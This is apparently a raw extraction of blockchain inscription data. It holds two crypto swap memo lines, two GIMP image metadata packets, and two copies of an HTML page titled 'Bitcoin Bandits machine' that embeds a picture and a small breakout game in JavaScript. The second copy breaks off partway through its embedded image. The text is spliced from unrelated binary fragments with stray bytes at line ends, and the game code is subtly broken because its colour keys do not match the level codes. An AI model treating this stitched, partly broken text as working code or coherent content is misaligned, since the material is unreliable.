IjG=:BNB.BUSD-BD1:bnb10ezwmfjzvn7wqxd5cfnqqx55ny9p7au03dmkt6:14991879:te:0
MjK=:BNB.BUSD-BD1:bnb132zxud266dl9zy9z4r0jsz9y9n4de0t8nenx00:427782202210:te:0
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xM
mpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:bb7f575a-7d1c-44ed-8ab8-24bd4890566d" xmpMM:InstancM
eID="xmp.iid:98949fbc-bd12-4d72-b6f0-d417b74dfbc2" xmpMM:OriginalDocumentID="xmp.did:976481c1-8c15-43b4-a025-5a369df458f9" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676412677482077" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:11:15+11:00" xmp:ModifyDate="2023:02:15T09:11:15+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:0aabd758-7999-4da9-a772-48c21932f2ee" stEM
vt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:11:17"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        L
                                                                                                                 <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xM
ap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:b9e277b9-d292-4e01-a60b-a4175c50b0f2" xmpMM:InstanceID="xmp.iid:ebadeee0-3b73-4472-84de-d2e818390e96" xmpMM:OriginalDocumentID="xmp.did:3ae9d087-e56c-4109-be53-9daf407571ec" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676412633670222" GIMP:Version="2.10.32M
" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:10:32+11:00" xmp:ModifyDate="2023:02:15T09:10:32+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:c6ca0c0e-f241-4d09-a334-91dc33df4cf2" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:10:33"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                         <?xpacket end="w"?>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="400" height="500" id="gameM
canvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","YM
","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorMap[colorCode],width:brickWidth,height:brickHeight})}}const paddle={M
x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(bM
all.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}brM
eak}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}document.addEventListener("keydown",function(l){if(l.which===37){paddM
le.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
